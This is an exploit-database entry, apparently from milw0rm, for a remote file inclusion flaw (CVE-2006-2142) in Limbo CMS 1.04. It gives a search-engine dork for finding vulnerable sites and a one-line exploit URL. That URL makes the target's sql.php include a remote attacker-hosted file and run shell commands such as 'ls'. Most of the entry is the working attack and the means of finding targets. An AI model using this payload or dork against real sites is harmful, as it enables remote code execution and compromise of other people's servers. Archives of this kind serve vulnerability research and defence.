Limbo CMS 1.0.4.2 - 'sql.php' Remote File Inclusion

Author: [Oo]
type: webapps
platform: php
port: 0
date_added: 2006-04-28
date_updated: 2016-11-10
verified: 1
codes: OSVDB-25155;CVE-2006-2142
tags: 
aliases: 
screenshot_url: 
application_url: 

Title: Limbo CMS <= 1.04 Remote File Inclusion
URL: http://www.limbo-cms.com/
Dork: inurl:"index2.php?option=rss" OR "powered By Limbo CMS"
Credits: [Oo]

Exploit: /classes/adodbt/sql.php?classes_dir=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-29]
↑